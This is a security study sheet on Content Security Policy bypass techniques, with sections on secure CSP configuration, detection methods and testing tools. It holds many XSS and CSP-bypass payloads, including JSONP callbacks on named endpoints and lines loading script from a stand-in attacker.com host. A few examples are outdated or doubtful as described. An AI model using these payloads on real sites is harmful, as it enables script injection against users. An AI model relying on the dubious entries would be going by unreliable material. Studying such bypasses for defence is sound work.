Content Security Policy (CSP) Bypass - Security Study Sheet

📋 Definition

Content Security Policy (CSP) Bypass refers to techniques used to circumvent Content Security Policy restrictions that are designed to prevent XSS and other code injection attacks. CSP bypasses occur due to misconfigurations, overly permissive policies, or exploitation of trusted sources that allow attackers to execute malicious code despite CSP protections.

🎯 Types and Categories

1. Unsafe Inline Bypasses

- **Description**: Exploiting `unsafe-inline` directives
- **Characteristics**:
  - Direct script execution allowed
  - Event handler exploitation
  - Style injection attacks

2. Unsafe Eval Bypasses

- **Description**: Exploiting `unsafe-eval` policies
- **Characteristics**:
  - `eval()` function usage
  - `Function()` constructor
  - `setTimeout()` with strings

3. Trusted Domain Exploitation

- **Description**: Using trusted domains to host malicious content
- **Characteristics**:
  - JSONP endpoints
  - File upload vulnerabilities
  - CDN misconfigurations

4. Base-URI Manipulation

- **Description**: Exploiting missing base-uri directives
- **Characteristics**:
  - `<base>` tag injection
  - Relative URL manipulation
  - Script source redirection

5. Nonce Reuse/Prediction

- **Description**: Exploiting predictable or reused nonces

- **Characteristics**:
  - Weak nonce generation
  - Nonce extraction from DOM
  - Nonce replay attacks

6. Hash Collision

- **Description**: Creating scripts that match allowed hashes
- **Characteristics**:
  - SHA collision exploitation
  - Hash prediction
  - Preimage attacks

7. Strict-Dynamic Bypasses

- **Description**: Exploiting strict-dynamic misconfigurations
- **Characteristics**:
  - Trusted script manipulation
  - Dynamic script creation
  - DOM-based injection

🎯 Realistic Example Payloads

Unsafe-Inline Exploitation

```
<!-- Direct script injection when unsafe-inline is allowed -->
<script>alert('CSP Bypass via unsafe-inline')</script>

<!-- Event handler injection -->
<img src=x onerror="alert('CSP Bypass via event handler')">
<body onload="alert('CSP Bypass via onload')">
<iframe onload="alert('CSP Bypass via iframe onload')">

<!-- Style-based XSS -->
<style>body{background:url('javascript:alert("CSP Bypass via CSS")')}</style>
<div style="background-image:url('javascript:alert(1)')"></div>
```

Unsafe-Eval Exploitation

```
// When unsafe-eval is allowed
eval('alert("CSP Bypass via eval")');

// Function constructor
(function(){}).constructor('alert("CSP Bypass via Function")')();

// setTimeout with string
setTimeout('alert("CSP Bypass via setTimeout")', 100);
```

```
// setInterval with string
setInterval('alert("CSP Bypass via setInterval")', 1000);

// new Function
new Function('alert("CSP Bypass via new Function")')();
```

JSONP Endpoint Abuse

```
<!-- Exploiting JSONP endpoints in trusted domains -->
<script src="https://trusted-domain.com/jsonp?callback=alert"></script>
<script src="https://api.trusted.com/data?jsonp=alert(1)//"></script>

<!-- Google JSONP endpoints -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert"></script>
<script src="https://www.google.com/complete/search?
client=chrome&q=hello&callback=alert"></script>

<!-- Common JSONP bypass patterns -->
<script src="https://trusted.com/api?callback=alert(document.domain)"></script>
```

CDN and Library Bypasses

```
<!-- Exploiting vulnerable libraries in trusted CDNs -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js">
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js">
</script>
<div ng-app ng-csp>
    <div ng-controller="test">
        <div ng-focus="$event.view.alert('XSS')" tabindex="1" id="test">
    </div>
</div>

<!-- jQuery vulnerable versions -->
<script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
<script>
    $('<img src=x onerror=alert(1)>').appendTo('body');
</script>
```

Base-URI Manipulation

```
<!-- When base-uri is not defined in CSP -->
<base href="https://attacker.com/">
<script src="/malicious.js"></script>

<!-- Combined with relative URLs -->
```

```
<base href="data:text/html,<script>alert('XSS')</script>">
<link rel="stylesheet" href="">

<!-- Using JavaScript to modify base -->
<script>
    document.getElementsByTagName('base')[0].href = 'https://attacker.com/';
</script>
```

Nonce Extraction and Reuse

```
// Extract nonce from existing scripts
var nonce = document.querySelector('script[nonce]').getAttribute('nonce');

// Create new script with extracted nonce
var script = document.createElement('script');
script.setAttribute('nonce', nonce);
script.innerHTML = 'alert("CSP Bypass with extracted nonce")';
document.head.appendChild(script);

// Alternative nonce extraction
var nonce = document.querySelector('script[nonce]').nonce;
eval('alert("CSP Bypass with nonce: ' + nonce + '")');
```

Strict-Dynamic Bypasses

```
<!-- When strict-dynamic is used -->
<script nonce="known-nonce">
    // Trusted script that can be manipulated
    var userInput = location.hash.substring(1);
    eval(userInput); // Dangerous if user input reaches here
</script>

<!-- Fragment: #alert('XSS') -->

<!-- Dynamic script creation -->
<script nonce="known-nonce">
    var s = document.createElement('script');
    s.src = 'https://attacker.com/malicious.js';
    document.head.appendChild(s);
</script>
```

File Upload CSP Bypasses

```
<!-- Upload HTML file to trusted domain -->
<!-- File: malicious.html on trusted-uploads.com -->
<script>alert('CSP Bypass via file upload')</script>
```

```
<!-- Include uploaded file -->
<script src="https://trusted-uploads.com/user-content/malicious.html"></script>

<!-- Using data URIs if allowed -->
<script src="data:text/javascript,alert('CSP Bypass via data URI')"></script>
```

Object-src Bypasses

```
<!-- Flash-based bypasses (legacy) -->
<object data="https://trusted.com/malicious.swf"></object>

<!-- PDF-based JavaScript execution -->
<object data="https://trusted.com/malicious.pdf#zoom=1000"></object>

<!-- Java applet bypasses -->
<applet code="MaliciousApplet" archive="https://trusted.com/malicious.jar">
</applet>
```

CSS-based Bypasses

```
<!-- When style-src allows unsafe-inline -->
<style>
    @import url('data:text/css,body{background:url(javascript:alert(1))}');
</style>

<!-- Expression-based (IE) -->
<style>
    body { width: expression(alert('CSP Bypass via CSS expression')); }
</style>

<!-- CSS injection leading to JavaScript -->
<style>
    .class { background: url('javascript:alert("CSS XSS")'); }
</style>
```

Meta Tag Injection

```
<!-- Meta refresh bypass -->
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">

<!-- Meta viewport manipulation -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
```

Service Worker Bypasses

```
// Register malicious service worker
navigator.serviceWorker.register('https://trusted.com/malicious-sw.js')
.then(function(registration) {
    console.log('Malicious SW registered');
});

// Service worker code (malicious-sw.js)
self.addEventListener('fetch', function(event) {
    if (event.request.url.includes('trusted.com')) {
        event.respondWith(
            new Response('<script>alert("CSP Bypass via SW")</script>', {
                headers: { 'Content-Type': 'text/html' }
            })
        );
    }
});
```

WebAssembly Bypasses

```
// When WebAssembly is allowed
fetch('https://trusted.com/malicious.wasm')
.then(response => response.arrayBuffer())
.then(bytes => WebAssembly.instantiate(bytes))
.then(results => {
    // Execute malicious WebAssembly code
    results.instance.exports.maliciousFunction();
});
```

🔍 Manual Detection Methods

1. CSP Header Analysis

- **Method**: Examine CSP headers in responses
- **Headers to check**:
  - `Content-Security-Policy`
  - `Content-Security-Policy-Report-Only`
  - `X-Content-Security-Policy` (deprecated)

2. Policy Parsing

- **Method**: Break down CSP directives
- **Directives to analyze**:
  - `script-src`, `style-src`, `img-src`
  - `default-src`, `base-uri`, `object-src`
  - `unsafe-inline`, `unsafe-eval`

3. Trusted Domain Testing

- **Method**: Test allowed domains for vulnerabilities
- **Tests**:
  - JSONP endpoints
  - File upload functionality
  - XSS vulnerabilities
  - Open redirects

4. Nonce/Hash Analysis

- **Method**: Examine nonce generation and hash usage
- **Check for**:
  - Predictable nonces
  - Reusable nonces
  - Hash collisions
  - Weak hash algorithms

5. Browser Console Testing

- **Method**: Use dev tools for quick CSP testing
- **Tests**:

```
// Test script execution
var script = document.createElement('script');
script.innerHTML = 'alert("test")';
document.head.appendChild(script);

// Test eval
eval('console.log("eval test")');
```

6. Automated CSP Analysis

- **Tools**: CSP Evaluator, CSP Scanner
- **Analysis**: Policy weakness detection

🛠️ Recommended Open-Source Tools

1. **CSP Evaluator**

- **Website**: https://csp-evaluator.withgoogle.com/
- **GitHub**: https://github.com/google/csp-evaluator
- **Description**: Google's CSP analysis tool
- **Usage**: Web-based CSP policy evaluation

2. **CSP-Bypass**

- **GitHub**: https://github.com/PortSwigger/csp-bypass

- **Description**: Burp Suite extension for CSP bypass testing
- **Usage**: Burp Suite extension installation

3. **CSPscanner**

- **GitHub**: https://github.com/yamakira/CSPscanner
- **Description**: Content Security Policy scanner
- **Usage**: `python cspscanner.py -u http://example.com`

4. **Burp Suite Community**

- **Website**: https://portswigger.net/burp/communitydownload
- **Description**: Web application security testing platform
- **Features**: Manual CSP testing and analysis

5. **OWASP ZAP**

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Description**: Comprehensive security testing proxy
- **Features**: CSP header analysis

6. **Nuclei**

- **GitHub**: https://github.com/projectdiscovery/nuclei
- **Description**: Fast vulnerability scanner
- **Usage**: `nuclei -u http://example.com -t nuclei-templates/misconfiguration/`

7. **CSP-Auditor**

- **GitHub**: https://github.com/GoSecure/csp-auditor
- **Description**: CSP auditing tool
- **Usage**: `python csp-auditor.py --url http://example.com`

8. **SecLists CSP**

- **GitHub**: https://github.com/danielmiessler/SecLists
- **Description**: Security testing lists including CSP bypasses
- **Path**: `/Discovery/Web-Content/CSP-bypass/`

9. **CSP-Bypass Collection**

- **GitHub**: https://github.com/EdOverflow/bugbounty-cheatsheet
- **Description**: Bug bounty cheatsheet with CSP bypasses
- **Content**: Comprehensive bypass techniques

10. **Browser DevTools**

- **Built-in**: Browser developer tools
- **Usage**: Console for CSP violation testing
- **Features**: Network tab for CSP header analysis

Secure CSP Configuration

1. Strict CSP Example

```
Content-Security-Policy:
    default-src 'none';
    script-src 'self' 'strict-dynamic' 'nonce-randomvalue';
    style-src 'self' 'nonce-randomvalue';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    object-src 'none';
```

2. Nonce Implementation

```
<?php
// PHP example
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?php echo $nonce; ?>">
    // Safe script execution
</script>
```

3. Hash-based CSP

```
<!-- Calculate SHA256 hash of script content -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'sha256-xyz123...'">
<script>console.log('This script matches the hash');</script>
```

4. Strict-Dynamic Usage

```
Content-Security-Policy:
    script-src 'strict-dynamic' 'nonce-randomvalue' 'unsafe-inline';
    object-src 'none';
    base-uri 'none';
```

Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Purpose**: CSP prevents code injection by controlling resource loading
2. **Common bypasses**: Trusted domain exploitation, unsafe directives
3. **Modern approaches**: Nonces, hashes, strict-dynamic
4. **Defense in depth**: CSP as additional layer, not sole protection

Common Interview Questions:

- "What is Content Security Policy and how does it prevent XSS?"
- "What's the difference between nonce and hash-based CSP?"
- "How can an attacker bypass CSP using trusted domains?"
- "What are the security implications of unsafe-inline and unsafe-eval?"

Practical Demonstration:

Be prepared to analyze CSP policies and demonstrate bypass techniques.

Real-world Examples:

- Google's CSP bypasses using AngularJS
- JSONP endpoint abuse in major websites
- CDN library vulnerabilities
- File upload CSP bypasses

This study sheet covers CSP Bypass techniques comprehensively for security professionals, bug bounty hunters, and cybersecurity students.